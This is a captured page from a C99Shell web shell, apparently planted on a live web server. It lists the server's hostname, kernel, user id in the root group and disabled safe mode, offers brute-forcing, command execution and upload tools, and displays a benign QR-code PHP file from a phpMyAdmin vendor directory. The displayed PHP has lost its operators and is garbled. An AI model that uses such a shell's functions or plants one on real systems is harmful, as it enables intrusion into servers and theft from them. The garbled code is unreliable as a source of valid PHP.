!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/bacon/bacon-qr-code/src/Renderer/Module/   drwxr-xr-x
Free 28.1 GB of 117.98 GB (23.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DotsModule.php (1.78 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
BaconQrCode\Renderer\Module;

use 
BaconQrCode\Encoder\ByteMatrix;
use 
BaconQrCode\Exception\InvalidArgumentException;
use 
BaconQrCode\Renderer\Path\Path;

/**
 * Renders individual modules as dots.
 */
final class DotsModule implements ModuleInterface
{
    public const 
LARGE 1;
    public const 
MEDIUM .8;
    public const 
SMALL .6;

    
/**
     * @var float
     */
    
private $size;

    public function 
__construct(float $size)
    {
        if (
$size <= || $size 1) {
            throw new 
InvalidArgumentException('Size must between 0 (exclusive) and 1 (inclusive)');
        }

        
$this->size $size;
    }

    public function 
createPath(ByteMatrix $matrix) : Path
    
{
        
$width $matrix->getWidth();
        
$height $matrix->getHeight();
        
$path = new Path();
        
$halfSize $this->size 2;
        
$margin = ($this->size) / 2;

        for (
$y 0$y $height; ++$y) {
            for (
$x 0$x $width; ++$x) {
                if (! 
$matrix->get($x$y)) {
                    continue;
                }

                
$pathX $x $margin;
                
$pathY $y $margin;

                
$path $path
                    
->move($pathX $this->size$pathY $halfSize)
                    ->
ellipticArc($halfSize$halfSize0falsetrue$pathX $halfSize$pathY $this->size)
                    ->
ellipticArc($halfSize$halfSize0falsetrue$pathX$pathY $halfSize)
                    ->
ellipticArc($halfSize$halfSize0falsetrue$pathX $halfSize$pathY)
                    ->
ellipticArc($halfSize$halfSize0falsetrue$pathX $this->size$pathY $halfSize)
                    ->
close()
                ;
            }
        }

        return 
$path;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--